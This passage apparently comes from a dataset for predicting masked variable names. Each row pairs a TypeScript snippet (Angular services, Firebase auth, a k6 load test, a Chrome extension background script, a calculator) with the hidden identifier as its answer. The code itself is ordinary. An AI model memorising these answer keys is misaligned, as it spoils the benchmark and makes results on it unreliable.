			.catch(error => {
				console.error(""Error fetching data:"", error);
				// Handle any errors here
			});
	}

	public onPressFiles(oEvent: Button$PressEvent) {
		var oView = this.getView();

		if (!this._oPopover) {
			const oFragmentController = {
				onCloseDialog: () => {
					this._oPopover.close();
				}
			}
			Fragment.load({
				id: oView.getId(),
				name: ""com.dhrubajyoti2006.openaiassistant.view.fragments.FilesPopover"",
				controller: oFragmentController
			}).then((oPopover: Popover) => {
				this._oPopover = oPopover;
				oView.addDependent(this._oPopover);
				this._oPopover.openBy(oEvent.getSource());
			});
		} else {
			this._oPopover.openBy(oEvent.getSource());
		}
	}

	public deleteThread(thread_id: string): void {
		fetch(`${Constants.apiUrl}/deleteAssistant/${thread_id}`, {
			method: ""DELETE""
		})
			.then(response => response.text())
			.then(data => {
				this.setThreadId(undefined);
			})
			.catch(error => {
				console.error(""Error deleting data:"", error);
				// Handle any errors here
			});
	}

	private onPressSend() {
		const content = (this.getView().byId(""idMessage"") as Input).getValue();
		const thread_id = (this.getModel(""mainModel"") as JSONModel).getProperty(""/thread_id"");

		fetch(Constants.apiUrl + ""/createMessage"", {
			method: ""POST"",
			headers: {
				""Content-Type"": ""application/json""
			},
			body: JSON.stringify({thread_id: thread_id, content: content})
		})
			.then(response => {
				if (!response.ok) {
					throw new Error(""Network response was not ok"");
				}
				return response.json(); // Assuming the response is JSON
			})
			.then(data => {
				console.log(""Message created successfully"", data);
				(this.getView().byId(""idMessage"") as Input).setValue("""");
				this.createRun(this.assistant_id, thread_id);
			})
			.catch(error => {
				console.error(""Error creating message:"", error);
			});
	}

	public createRun(assistant_id: string, thread_id: string): void {
		fetch(Constants.apiUrl + ""/createRun"", {
			method: ""POST"",
			headers: {
				""Content-Type"": ""application/json""
			},
			body: JSON.stringify({assistant_id: assistant_id, thread_id: thread_id})
		})
			.then(response => {
				if (!response.ok) {
					throw new Error(""Network response was not ok"");
				}
				return response.json(); // Assuming the response is JSON
			})
			.then(data => {
				this.run_id = data.id;
				this.currentRunStatus = ""started"";
				// this.startRunCheck();
				console.log(""Message created successfully"", data);
				// Handle success, maybe update UI or clear form
			})
			.catch(error => {
				console.error(""Error creating message:"", error);
				// Handle any errors here, maybe show user feedback
			});
	}

	private onPressRefreshButton() {
		this.retrieveRun(this.getThreadId(), this.run_id);
	}

	private getWeather(location: string, unit: string) {
		return `This is the Temperature of ${location}: 25 degree ${unit}`
	}

	public handleFunctionToolCall(id: string, functionName: string, functionArguments: string) {
		const parsedArguments = JSON.parse(functionArguments);
		let returnValue = """";

		if (functionName == ""get_weather"") {
			returnValue = this.getWeather(parsedArguments.location, parsedArguments.unit);
		} else {
			returnValue = ""Unable to find the functional name"";
		}

		return {
			tool_call_id: id,
			output: returnValue
		}
	}

	public handleToolCalls(tool_calls: Array<OpenAIToolCall>) {
		let toolOutputs: Array<string> = [];
		for (let i = 0; i < tool_calls.length; i++) {
			const tool_call = tool_calls[i];
			if (tool_call.type == ""function"") {
				const functionResponse = this.handleFunctionToolCall(tool_call.id, tool_call.function.name, tool_call.function.arguments);

				toolOutputs.push(functionResponse);
			}
		}

		return toolOutputs;
	}

	public submitToolOutput(thread_id: string, run_id: string, toolOutputs: Array<string>) {
		fetch(`${Constants.apiUrl}/submitToolOutputs/${thread_id}/${run_id}`, {
			method: ""POST"",
			headers: {
				""Content-Type"": ""application/json""
			},
			body: JSON.stringify(toolOutputs)
		})
			.then(response => response.text())
			.then(data => {
				console.log(JSON.parse(data));
			})
			.catch(error => {
				console.error(""Error fetching data:"", error);
				// Handle any errors here
			});
	}

	public retrieveRun(thread_id: string, run_id: string) {
		fetch(`${Constants.apiUrl}/retrieveRun/${thread_id}/${run_id}`)
			.then(response => response.text())
			.then(data => {
				const response = JSON.parse(data);
				if (response?.required_action?.submit_tool_outputs?.tool_calls) {
					const tools_calls = response.required_action.submit_tool_outputs.tool_calls;

					const toolOutputs = this.handleToolCalls(tools_calls);

					this.submitToolOutput(thread_id, run_id, toolOutputs);
				}

				this.currentRunStatus = response.status;
				if (response.status === ""completed"") {
					this.messageList(this.getThreadId());
				}
			})
			.catch(error => {
				console.error(""Error fetching data:"", error);
				// Handle any errors here
			});
	}

	public messageList(thread_id: string): void {
		fetch(`${Constants.apiUrl}/messageList/${thread_id}`)
			.then(response => response.text())
			.then(data => {
				this.getMainModel().setProperty(""/messages"", JSON.parse(data).data.reverse());
			})
			.catch(error => {
				console.error(""Error fetching data:"", error);
				// Handle any errors here
			});
	}

	public fileList(): void {
		fetch(Constants.apiUrl + ""/fileList"")
			.then(response => response.text())
			.then(data => {
				(this.getModel(""mainModel"") as JSONModel).setProperty(""/allFilesList"", JSON.parse(data).data);
				this.updateFileListForAssistant();
			})
			.catch(error => {
				console.error(""Error fetching data:"", error);
				// Handle any errors here
			});
	}

	// ToDo: To have a better solution later with something like signalR or so
	private startRunCheck() {
		const intervalId = setInterval(() => {
			this.retrieveRun(this.getThreadId(), this.run_id);

			if (this.currentRunStatus === ""completed"") {
				clearInterval(intervalId);
			}
		}, 500); // 500 milliseconds interval
	}
}
",oArguments
89,"let calc = document.getElementById(""calc"");

function isDigit(value: string): boolean {
   return value != "" "" && !isNaN(Number(value));
}

function isOperator(ch: string): boolean {
	switch (ch) {
		case ""+"": return true;
		case ""-"": return true;
		case ""/"": return true;
		case ""*"": return true;
		default: return false;
	}
}

function processHighPriorityOperators(operands:number[], operators:string[]):void {
	if (operands && operators) {
		for (let i:number = 0; i < operators.length; i++) {
			let operator:string = operators[i];
			let value:number;
			switch (operator) {
				case ""*"": {
					value = operands[i] * operands[i + 1];
					operators.splice(i, 1);
					operands.splice(i, 1);
					operands[i] = value;
					i = -1;
					break;
				}
				case ""/"": {
					value = operands[i] / operands[i + 1];
					operators.splice(i, 1);
					operands.splice(i, 1);
					operands[i] = value;
					i = -1;
					break;
				}
			}
		}
	}
}

function processLowPriorityOperators(operands:number[], operators:string[]):void {
	if (operands && operators) {
		for (let i:number = 0; i < operators.length; i++) {
			let operator:string = operators[i];
			let value:number;
			switch (operator) {
				case ""+"": {
					value = operands[i] + operands[i + 1];
					operators.splice(i, 1);
					operands.splice(i, 1);
					operands[i] = value;
					i = -1;
					break;
				}
				case ""-"": {
					value = operands[i] - operands[i + 1];
					operators.splice(i, 1);
					operands.splice(i, 1);
					operands[i] = value;
					i = -1;
					break;
				}
			}
		}
	}
}

calc.onclick = function (evt) {
	let  [MASK]  = document.getElementById(""expression"");
	if ( [MASK] ) {
		let expression:string = (<HTMLInputElement> [MASK] ).value + "" ""; //need to exclude last operand loosing 
		let operand:string = """";
		let operands:number[] = [];
		let operators:string[] = [];
		for (let i:number = 0; i < expression.length; i++) {
			if (isDigit(expression[i])) {
				operand += expression[i];
			} else {
				if (operand) {
					operands.push(Number(operand));
					operand = """";
				}
				if (isOperator(expression[i])) {
					operators.push(expression[i])
				}
			}
		}

		if (operands.length == operators.length + 1) {
			processHighPriorityOperators(operands, operators);
			processLowPriorityOperators(operands, operators);
		} else {
			alert(""Wrong expression."");
		}
		let resultContainer = document.getElementById(""result"");
		resultContainer.innerHTML = operands[0].toString();
	} else alert(""Can't find expression text box."");
};",expressionField
90,"import { Injectable } from '@angular/core';
import { AngularFireAuth } from '@angular/fire/auth';
import { BehaviorSubject, Observable, ReplaySubject, Subject } from 'rxjs';
import { tap, map, share } from 'rxjs/operators';
import { Router } from '@angular/router';

interface User {
  uid: string;
  email: string;
}

@Injectable({
  providedIn: 'root'
})
export class AuthService {
  public authErrorMessages$ = new BehaviorSubject<string|null>(null);
  public isLoading$ = new BehaviorSubject<boolean>(true);
  public user$ = new BehaviorSubject<User|null>(null);

  private authState:User|null = null;

  constructor(private afAuth: AngularFireAuth, private router: Router) {
    this.isLoggedIn().subscribe(user => {
      if (user) {
        this.authState = user;
        this.router.navigateByUrl('/notes');
      }
    });
  }

  get authenticated(): boolean {
    return this.authState !== null;
  }

  get id(): string {
    return this.authenticated ? this.authState!.uid : '';
  }

  private isLoggedIn(): Observable<User | null> {
    return this.afAuth.authState.pipe(
      map((user:any) => {
        if (user) {
          const { email, uid } = user;
          this.user$.next({ email, uid });
          return { email, uid };
        }
        return null;
      }),
      tap(() => this.isLoading$.next(false))
    );
  }

  public getToken(): Observable<string|null> {
    return this.afAuth.idToken;
  }

  public getCurrentUserUid(): any | null {
    // return this.afAuth.auth.currentUser.uid;
    return this.afAuth.currentUser.then((user:any) => {return user.uid})
  }

  // public signUpFirebase({ email, password }) {
    public signUpFirebase( {email, password}:any){
    this.isLoading$.next(true);
    this.handleErrorOrSuccess(() => {
      // return this.afAuth.auth.createUserWithEmailAndPassword(email, password);
      return this.afAuth.createUserWithEmailAndPassword(email,password)
    });
  }

  // public loginFirebase({ email, password }) {
    public loginFirebase( {email, password }:any) {
    this.isLoading$.next(true);
    this.handleErrorOrSuccess(() => {
      // return this.afAuth.auth.signInWithEmailAndPassword(email, password);
      return this.afAuth.signInWithEmailAndPassword(email, password);
    });
  }

  public logOutFirebase() {
    this.isLoading$.next(true);
    // return this.afAuth.auth.signOut();
    return this.afAuth.signOut();
  }

  private handleErrorOrSuccess(
    // cb: () => Promise<firebase.auth.UserCredential>
    cb: () => Promise<firebase.default.auth.UserCredential>
  ) {
    cb()
      .then(data => this.authenticateUser(data))
      .catch(e => this.handleSignUpLoginError(e));
  }

  private authenticateUser(UserCredential:any) {
    const {
      user: { email, uid }
    } = UserCredential;

    this.isLoading$.next(false);
  }

  private handleSignUpLoginError(error: { code: string; message: string }) {
    this.isLoading$.next(false);
    const  [MASK]  = error.message;
    this.authErrorMessages$.next( [MASK] );
  }
}
",errorMessage
91,"import {ChangeDetectorRef, Component, Input, OnChanges, OnInit, SimpleChange, SimpleChanges} from '@angular/core';
import {CategoryService} from '../../../services/category.service';

@Component({
  selector: 'app-mini-budget',
  templateUrl: './mini-budget.component.html',
  styleUrls: ['./mini-budget.component.scss']
})
export class MiniBudgetComponent implements OnInit, OnChanges {
  @Input() data: number;
  onViewMonth: number;
  onViewYear = new Date().getFullYear();
  categories = [];
  parametreString: string;
  constructor(private cd: ChangeDetectorRef, private categoryService: CategoryService) { }

  ngOnChanges( [MASK] : SimpleChanges) {
    const data: SimpleChange =  [MASK] .data;
    this.onViewMonth = data.currentValue;
    this.parametreString = this.onViewYear + '-' + this.onViewMonth;
    this.categoryService.getCategoryLimit(this.parametreString).subscribe(
        data => {
          if (data) {
              console.log(data);
            this.categories = data['data'];
          }
          else{
            this.categories = [];
          }
        }
    );
    // this.categoryService.getCategories().subscribe(
    //     data => {
    //       if (data['data']) {
    //         this.categories = data['data'];
    //       }
    //     }
    // );
  }

  ngOnInit() {
    this.cd.detectChanges();
    // this.categoryService.getCategories().subscribe(
    //     data => {
    //       this.categories = data['data'];
    //     }
    // );
  }
}
",changes
92,"import axios from 'axios';
import { setupAxiosInterceptors } from '@/api/axiosConfig';
import { OrgUnitsResponseProps } from '@/types/orgUnits';
import { chromeOsDevicesResponseProps } from '@/types/chromeOsDevices';
import { googleListUsersResponseProps } from '@/types/user';

class DirectoryApi {
  private axiosInstance = axios.create({
    baseURL:
      'https://admin.googleapis.com/admin/directory/v1/customer/my_customer',
  });

  constructor() {
    setupAxiosInterceptors(this.axiosInstance);
  }

  /**
   * TODO: instead of returning all, we return immediate children of a specific OU
   */
  async listOrganizationalUnits(): Promise<OrgUnitsResponseProps> {
    let requestUrl = '/orgunits?type=ALL_INCLUDING_PARENT';

    const response = await this.axiosInstance.get(requestUrl);
    return response.data;
  }

  async listChromeOsDevicesByOrgUnitId(
     [MASK] : string,
  ): Promise<chromeOsDevicesResponseProps> {
    let requestUrl = `/devices/chromeos?projection=BASIC&orgUnitPath=${ [MASK] }`;

    const response = await this.axiosInstance.get(requestUrl);
    return response.data;
  }

  async listGoogleUsersByOrgUnitPath(
    orgUnitPath: string,
  ): Promise<googleListUsersResponseProps> {
    let requestUrl = `/users?query=orgUnitPath='${orgUnitPath}'&viewType=admin_view&projection=BASIC&customer=my_customer`;

    const response = await this.axiosInstance.get(requestUrl, {
      baseURL: 'https://admin.googleapis.com/admin/directory/v1',
    });
    return response.data;
  }
}

export const directoryApi = new DirectoryApi();
",orgUnitId
93,"import { Investments } from './yearly/types.js';

export const calculateInvestments = (
   [MASK] : { Action: string; Name: string; Total: string }[],
): Investments => {
  const investments = {
    totalDeposit: 0,
    totalInvestedInSek: 0,
    investedInUSD: {
      amount: 0,
      amountInSek: 0,
      conversionRate: 0,
    },
    investedInEUR: {
      amount: 0,
      amountInSek: 0,
      conversionRate: 0,
    },
    investedInGBP: {
      amount: 0,
      amountInSek: 0,
      conversionRate: 0,
    },
    investedInGBX: {
      amount: 0,
      amountInSek: 0,
      conversionRate: 0,
    },
  };

  for (const record of  [MASK] ) {
    if (record['Action'] === 'Deposit') {
      investments.totalDeposit += parseFloat(record['Total']);
    } else if (
      record['Currency conversion fee'] &&
      (record['Action'] === 'Market buy' || record['Action'] === 'Limit buy') &&
      record['Currency (Currency conversion fee)'] === 'SEK'
    ) {
      investments.totalInvestedInSek += parseFloat(record['Total']);

      if (record['Currency (Price / share)'] === 'USD') {
        investments.investedInUSD.amountInSek += parseFloat(record['Total']);
        investments.investedInUSD.amount +=
          parseFloat(record['Price / share']) *
          parseFloat(record['No. of shares']);
      } else if (record['Currency (Price / share)'] === 'EUR') {
        investments.investedInEUR.amountInSek += parseFloat(record['Total']);
        investments.investedInEUR.amount +=
          parseFloat(record['Price / share']) *
          parseFloat(record['No. of shares']);
      } else if (record['Currency (Price / share)'] === 'GBP') {
        investments.investedInGBP.amountInSek += parseFloat(record['Total']);
        investments.investedInGBP.amount +=
          parseFloat(record['Price / share']) *
          parseFloat(record['No. of shares']);
      } else if (record['Currency (Price / share)'] === 'GBX') {
        investments.investedInGBX.amountInSek += parseFloat(record['Total']);
        investments.investedInGBX.amount +=
          (parseFloat(record['Price / share']) *
            parseFloat(record['No. of shares'])) /
          100;
      }
    }
  }

  // calculate conversion rates
  investments.investedInUSD.conversionRate =
    investments.investedInUSD.amountInSek / investments.investedInUSD.amount;
  investments.investedInEUR.conversionRate =
    investments.investedInEUR.amountInSek / investments.investedInEUR.amount;
  investments.investedInGBP.conversionRate =
    investments.investedInGBP.amountInSek / investments.investedInGBP.amount;
  investments.investedInGBX.conversionRate =
    investments.investedInGBX.amountInSek / investments.investedInGBX.amount;

  return investments;
};
",records
94,"import { Schema, model } from ""mongoose"";

export enum Category {
	Amenagement = ""AMÉNAGEMENT"",
	Vehicule = ""VÉHICULE"",
	Application = ""APPLICATION"",
	Sensibilisation = ""SENSIBILISATION"",
	Ateliers = ""ATELIER"",
	Other = ""AUTRE"",
}

export enum Region {
	HautesPyrenees = ""hautes-pyrenees"",
	PyrennesAtlantiques = ""pyrenees-atlantiques"",
	Other = ""autre"",
}

export interface ISolution {
	name: string;
	description: string;
	category: Category;
	img: string;
	imgId: string;
	region: Region;
	coordinates: [number, number];
	website?: string;
	contact?: string;
	details?: string;
}

const solutionSchema = new Schema({
	name: {
		type: String,
		required: true,
	},
	author: String,
	description: {
		type: String,
		required: true,
	},
	category: {
		type: String,
		enum: Object.values(Category),
		required: true,
	},
	img: {
		type: String,
		required: true,
	},
	imgId: {
		type: String,
		required: true,
	},
	region: {
		type: String,
		enum: Object.values(Region),
		required: true,
	},
	coordinates: {
		type: [Number],
		required: true,
	},
	website: {
		type: String,
		required: false,
	},
	contact: {
		type: String,
		required: false,
	},
	details: {
		type: String,
		required: false,
	},
});

solutionSchema.set(""toJSON"", {
	transform: (_document,  [MASK] ) => {
		// eslint-disable-next-line @typescript-eslint/no-unsafe-assignment, @typescript-eslint/no-unsafe-call
		 [MASK] .id =  [MASK] ._id.toString();
		delete  [MASK] ._id;
		delete  [MASK] .__v;
	},
});

export default model<ISolution>(""Solution"", solutionSchema);
",returnedObject
95,"/*
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/* eslint-disable no-console */

// The following block is required to make 'window' available within the service worker, since opentelemetry-core getEnv() depends on it.
export type {};
interface MyServiceWorkerGlobalScope extends ServiceWorkerGlobalScope {
  window: unknown;
}
declare const self: MyServiceWorkerGlobalScope;
if (self.constructor.name !== 'Window') {
  self.window = self;
}

import {
  ConsoleSpanExporter,
  SimpleSpanProcessor,
} from '@opentelemetry/tracing';
import { WebTracerProvider } from '@opentelemetry/web';

// the following two 'require' are here for webpack.
require('../manifest.json5');
require('../icons/otel-logo.png');

try {
  chrome.tabs.onUpdated.addListener(
    (tabId: number, changeInfo: chrome.tabs.TabChangeInfo) => {
      if (changeInfo.status !== 'loading') {
        return;
      }

      chrome.tabs.get(tabId, (tab: chrome.tabs.Tab) => {
        console.log(tab);
        if (tab.url) {
          if (chrome.scripting) {
            chrome.scripting.executeScript({
              target: {
                allFrames: true,
                tabId,
              },
              files: ['contentScript.js'],
            });
          } else {
            console.log('execute');
            chrome.tabs.executeScript(tabId, {
              file: 'contentScript.js',
              allFrames: true,
            });
          }
        }
      });
    }
  );

  chrome.runtime.onMessage.addListener((request,  [MASK] ) => {
    if (
      request.type === 'OTEL_EXTENSION_SPANS' &&
      request.extensionId === chrome.runtime.id &&
       [MASK] .id === chrome.runtime.id
    ) {
      const spans = JSON.parse(request.spans);
      const consoleExporter = new ConsoleSpanExporter();
      const provider = new WebTracerProvider();
      provider.addSpanProcessor(new SimpleSpanProcessor(consoleExporter));
      consoleExporter.export(spans, r => console.log(r));
    }
  });
} catch (e) {
  console.log(e);
}
",sender
96,"import { beforeEach, describe, expect, it, vi } from ""vitest"";

import { DeltaTimeStrategy } from ""."";
import { IngestionStrategy } from ""../../strategy"";

describe(""DeltaTimeStrategy"", () => {
	// Mock implementation for nowResolver
	let mockTimeValue = 1000;
	const mockNowResolver = vi.fn(() => mockTimeValue);

	// Mock for createExecutionHandler
	const mockExecute = vi.fn();

	// Test subject
	let deltaTimeStrategy: DeltaTimeStrategy;

	beforeEach(() => {
		// Reset mocks and create fresh instance for each test
		vi.clearAllMocks();
		mockTimeValue = 1000;

		deltaTimeStrategy = new DeltaTimeStrategy(mockNowResolver);
		// Mock the createExecutionHandler method
		vi.spyOn(deltaTimeStrategy, ""createExecutionHandler"").mockReturnValue(
			mockExecute,
		);
	});

	it(""should be an instance of IngestionStrategy"", () => {
		expect(deltaTimeStrategy).toBeInstanceOf(IngestionStrategy);
	});

	it(""should initialize with the provided nowResolver"", () => {
		expect(deltaTimeStrategy.nowResolver).toBe(mockNowResolver);
	});

	it(""client method should return a start function"", () => {
		const customerId = ""test-customer-id"";
		const startFn = deltaTimeStrategy.client({
			customerId,
		});

		expect(typeof startFn).toBe(""function"");
	});

	it(""start function should return a stop function"", () => {
		const customerId = ""test-customer-id"";
		const startFn = deltaTimeStrategy.client({
			customerId,
		});
		const stopFn = startFn();

		expect(typeof stopFn).toBe(""function"");
	});

	it(""should calculate correct delta time between start and stop"", () => {
		const customerId = ""test-customer-id"";
		const startFn = deltaTimeStrategy.client({
			customerId,
		});

		// First call to nowResolver (start time)
		const stopFn = startFn();
		expect(mockNowResolver).toHaveBeenCalledTimes(1);

		// Simulate time passing
		mockTimeValue = 1500;

		// Call stop function
		const deltaTime = stopFn();

		// Second call to nowResolver (end time)
		expect(mockNowResolver).toHaveBeenCalledTimes(2);

		// Check delta time calculation
		expect(deltaTime).toBe(500); // 1500 - 1000 = 500
	});

	it(""should call execution handler with correct context and customerId"", () => {
		const customerId = ""test-customer-id"";
		const startFn = deltaTimeStrategy.client({
			customerId,
		});

		// Start time = 1000
		const stopFn = startFn();

		// Simulate time passing
		mockTimeValue = 1300;

		// Call stop function
		stopFn();

		// Verify execution handler was called with correct parameters
		expect(mockExecute).toHaveBeenCalledTimes(1);
		expect(mockExecute).toHaveBeenCalledWith(
			{ deltaTime: 300 },
			{ customerId },
		);
	});

	it(""should return the calculated delta time from stop function"", () => {
		const customerId = ""test-customer-id"";
		const startFn = deltaTimeStrategy.client({
			customerId,
		});

		// Start time = 1000
		const stopFn = startFn();

		// Simulate time passing
		mockTimeValue = 1800;

		// Call stop function and check return value
		const  [MASK]  = stopFn();
		expect( [MASK] ).toBe(800); // 1800 - 1000 = 800
	});
});
",returnedDeltaTime
97,"import { JSONPrase } from '@/utils/utils';

export const paramsTableToJson = (data: any) => {
  let value = {};
  if (Array.isArray(data)) {
    for (let i = 0; i < data.length; i++) {
      const item = data[i];
      if (item.name) {
        const type = item.type.type;
        if (type !== 'string') {
          value[item.name] = JSONPrase(item.value);
        } else {
          value[item.name] = item.value?.toString() || null;
        }
      }
    }
  }

  return value;
};
export const parseCascaderJson = (value: any) => {
  if (['object', 'boolean'].includes(typeof value)) {
    return JSON.stringify(value);
  }
  return value;
};
export const paramsJsonToTable = (data: any, fixType: string | null = null) => {
  let value: any = [];
  let  [MASK]  = [];
  let rowKey = Date.now();
  for (let key in data) {
     [MASK] .push(rowKey);
    value.push({
      id: rowKey,
      name: key,
      value: parseCascaderJson(data[key]),
      type: { type: fixType || typeof data[key], auto: true },
    });
    rowKey += 1;
  }

  return [value,  [MASK] ];
};
",editKeys
98,"import { Component, OnInit, Inject } from '@angular/core';
import { PrivilegeResponseDto, RoleResponseDto, RoleRequestDto } from 'src/app/app-security-module/models/role';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { PrivilegeApiService } from 'src/app/app-security-module/services/privilege-api.service';
import { MatDialogRef, MAT_DIALOG_DATA } from '@angular/material';

@Component({
  selector: 'app-role-dialog',
  templateUrl: './role-dialog.component.html',
  styleUrls: ['./role-dialog.component.scss']
})
export class RoleDialogComponent implements OnInit {

  form: FormGroup;

  privileges: PrivilegeResponseDto[];

  constructor(
    private fb: FormBuilder,
    private privilegeApiService: PrivilegeApiService,
    private dialogRef: MatDialogRef<RoleDialogComponent>,
    @Inject(MAT_DIALOG_DATA) data: RoleResponseDto) {
      this.privilegeApiService.getPrivileges().subscribe(privilegesResponse => {
        this.privileges = privilegesResponse;
        const  [MASK]  = data.privileges ?
         this.privileges.filter(privilege => data.privileges.map(r => r.id).indexOf(privilege.id) > -1) : [];

         this.form.patchValue({
          privileges:  [MASK] 
         });
      });

      this.form = this.fb.group({
        name: [data.name, [Validators.required]],
        description: [data.description, [Validators.required]],
        privileges: [[], [Validators.required, Validators.min(1)]]
      });
  }

  ngOnInit() {
  }

  save() {
    const roleRequest: RoleRequestDto = {
      name: this.form.value.name,
      description: this.form.value.description,
      privilegeIds: this.form.value.privileges.map(privilege => privilege.id),
    };
    this.dialogRef.close(roleRequest);
  }

}
",selectedPrivileges
99,"// Return an array with the same shape as the input
export function boundingBox(imageArray: number[][]): number[][] {
    const rows = imageArray.length;
    const cols = imageArray[0]?.length || 0;

    if (rows === 0 || cols == 0) return []

    let top = rows;
    let bottom = 0;
    let left = cols;
    let  [MASK]  = 0;

    for (let i = 0; i < rows; i++) {
        for (let j = 0; j < cols; j++) {
            if (imageArray[i][j] === 1) {
                top = Math.min(top, i);
                bottom = Math.max(bottom, i);
                left = Math.min(left, j);
                 [MASK]  = Math.max( [MASK] , j);
            }
        }
    }

    const boundingBox: number[][] = Array.from({ length: rows }, () => Array(cols).fill(0));

    for (let i = top; i <= bottom; i++) {
        boundingBox[i][left] = 1;
        boundingBox[i][ [MASK] ] = 1;
    }

    for (let j = left; j <=  [MASK] ; j++) {
        boundingBox[top][j] = 1;
        boundingBox[bottom][j] = 1;
    }

    return boundingBox;
}

",right
100,"import { Chart, utils } from '@tradeconstruct/klinecharts';
import type { Candle, IChartEngine, InitOptions, IndicatorDef, CrosshairEvent, Unsubscribe } from '@tradeconstruct/chart-core';

function mapCandle(c: Candle) {
  return { ...c } as any;
}

export class KLineAdapter implements IChartEngine {
  private _chart: Chart | null = null;

  init(el: HTMLElement,  [MASK] : InitOptions): void {
    this._chart = utils.createChart(el,  [MASK]  as any);
  }

  setData(series: Candle[]): void {
    this._chart?.applyNewData(series.map(mapCandle));
  }

  updatePoint(point: Candle): void {
    this._chart?.updateData(mapCandle(point));
  }

  addIndicator(def: IndicatorDef): string {
    return this._chart?.createIndicator(def as any) ?? '';
  }

  removeIndicator(id: string): void {
    this._chart?.removeIndicator(id);
  }

  onCrosshair(cb: (p: CrosshairEvent) => void): Unsubscribe {
    if (!this._chart) return () => {};
    // @ts-expect-error - event binding depends on klinecharts API
    this._chart.subscribeCrosshairMove(cb as any);
    return () => {
      // @ts-expect-error
      this._chart?.unsubscribeCrosshairMove(cb as any);
    };
  }

  destroy(): void {
    this._chart?.destroy();
    this._chart = null;
  }
}
",opts
101,"import {MediaServerRepository} from ""./MediaServerRepository"";
import {MediaServer} from ""./model/MediaServer"";
import {MediaRouterStatus} from ""./model/MediaRouterStatus"";

export class MediaServerRouter {

    public constructor(
        private _repository: MediaServerRepository = new MediaServerRepository()
    ) {
    }

    public register = (socketId: string, mediaServer: MediaServer) => {
        this._repository.register(socketId, mediaServer);
    }

    public unregister = (socketId: string) => {
        this._repository.unregister(socketId);
    }

    public addRoom = (socketId: string, roomId: string) => {
        const mediaServer = this._repository.requireMediaServerBySocketId(socketId);
        mediaServer.addRoom(roomId);
    }

    public removeRoom = (socketId: string, roomId: string) => {
        const mediaServer = this._repository.requireMediaServerBySocketId(socketId);
        mediaServer.removeRoom(roomId);
    }

    public findServerByRoomId = (roomId: string): MediaServer | undefined => {
        const mediaServers = this._repository.getMediaServers();
        return mediaServers.find((server) => server.hasRoom(roomId));
    }

    public findAvailableServer = (): MediaServer | undefined => {
        const mediaServers = this._repository.getMediaServers()
        let fewestRoomsServer: MediaServer | undefined;
        let  [MASK]  = Number.MAX_SAFE_INTEGER;
        for (const mediaServer of mediaServers) {
            if (mediaServer.canAddRoom() && mediaServer.roomCount <  [MASK] ) {
                fewestRoomsServer = mediaServer;
                 [MASK]  = mediaServer.roomCount;
            }
        }
        return fewestRoomsServer;
    }

    public getStatus = (): MediaRouterStatus => {
        return new MediaRouterStatus(this._repository.getMediaServers());
    }
}

export const mediaServerRouter = new MediaServerRouter();
",fewestRoomCount
102,"import { sleep, check } from 'k6';
import { Options } from 'k6/options';
import http from 'k6/http';
import type { StudentInfo } from './types/StudentInfo';

export let options:Options = {
  scenarios: {
    
    constant_vus_test: {
      executor: 'constant-vus',
      vus: 50,
      duration: '5m',
      gracefulStop: '0s', // do not wait for iterations to finish in the end
      tags: { test_type: 'constant_vus_test' }, // extra tags for the metrics generated by this scenario
      exec: 'createAndUpdateScenario', // the function this scenario will execute
    },
    constant_arrival_rate_test: {
      executor: 'constant-arrival-rate',
      rate: 90,
      timeUnit: '1m', // 90 iterations per minute, i.e. 1.5 RPS
      duration: '5m',
      preAllocatedVUs: 10, // the size of the VU (i.e. worker) pool for this scenario
      tags: { test_type: 'constant_arrival_rate_test' }, // different extra metric tags for this scenario
      exec: 'fetchScenario', // this scenario is executing different code than the one above!
    },
    ramping_arrival_rate_test: {
      executor: 'ramping-arrival-rate',
      startTime: '30s', // the ramping API test starts a little later
      startRate: 50,
      timeUnit: '1s', // we start at 50 iterations per second
      stages: [
        { target: 100, duration: '30s' }, // go from 50 to 200 iters/s in the first 30 seconds
        { target: 100, duration: '3m30s' }, // hold at 200 iters/s for 3.5 minutes
        { target: 0, duration: '30s' }, // ramp down back to 0 iters/s over the last 30 second
      ],
      preAllocatedVUs: 50, // how large the initial pool of VUs would be
      maxVUs: 100, // if the preAllocatedVUs are not enough, we can initialize more
      tags: { test_type: 'ramping_arrival_rate_test' }, // different extra metric tags for this scenario
      exec: 'fetchScenario', // same function as the scenario above, but with different env vars
    },
  },
  discardResponseBodies: true,
  thresholds: {
    'http_req_duration{scenario:constant_vus_test}': ['p(99)<1500'],
    'http_req_duration{scenario:constant_arrival_rate_test}': ['p(99)<1500'],
    'http_req_duration{scenario:ramping_arrival_rate_test}': ['p(99)<1500'],
  },
};

export function createAndUpdateScenario() {
  createStudent();
  updateStudent();
  sleep(Math.random() * 2);
}

export function fetchScenario() {
  getStudents();
  getClasses();
}

export function createStudent() {
  const newStudent = {
    firstName: ""FirstName"",
    lastName: ""LastName"",
    sex: ""NG""
  } as StudentInfo;

  const params = {
    headers: {
      ""Content-Type"": ""application/json"",
    },
  };
  
  const res = http.post(`${__ENV.BASE_URL}/api/students`, JSON.stringify(newStudent), params);
  check(res, {
    ""status is 200"": () => res.status === 200,
  });
};

export function updateStudent() {
  const  [MASK]  = {
    firstName: ""FirstNameUpdated"",
    lastName: ""LastNameUpdated"",
    sex: ""NG""
  } as StudentInfo;

  const params = {
    headers: {
      ""Content-Type"": ""application/json"",
    },
  };

  const res = http.put(`${__ENV.BASE_URL}/api/students/1`, JSON.stringify( [MASK] ), params);
  check(res, {
    ""status is 200"": () => res.status === 200,
  });
};

export function getStudents() {
  const res = http.get(`${__ENV.BASE_URL}/api/students`);
  check(res, {
    ""status is 200"": () => res.status === 200,
  });
};

export function getClasses() {
  const res = http.get(`${__ENV.BASE_URL}/api/classes`);
  check(res, {
    ""status is 200"": () => res.status === 200,
  });
};
",newStudentData
103,"import { Injectable } from '@angular/core';

import { HttpClient} from '@angular/common/http';

import { Observable, of } from 'rxjs';
import { delay, tap } from 'rxjs/operators';

import { ATM } from './model/atm';
import { MOCK_ATMs } from './MOCK/mock-atms-list';

import{ GlobalConstants } from './config/constants';

@Injectable({
  providedIn: 'root',
})
export class ATMsService {

  constructor(private httpClient: HttpClient) {}

  getMockResults(): Observable<ATM[]> {
    return of(MOCK_ATMs).pipe(
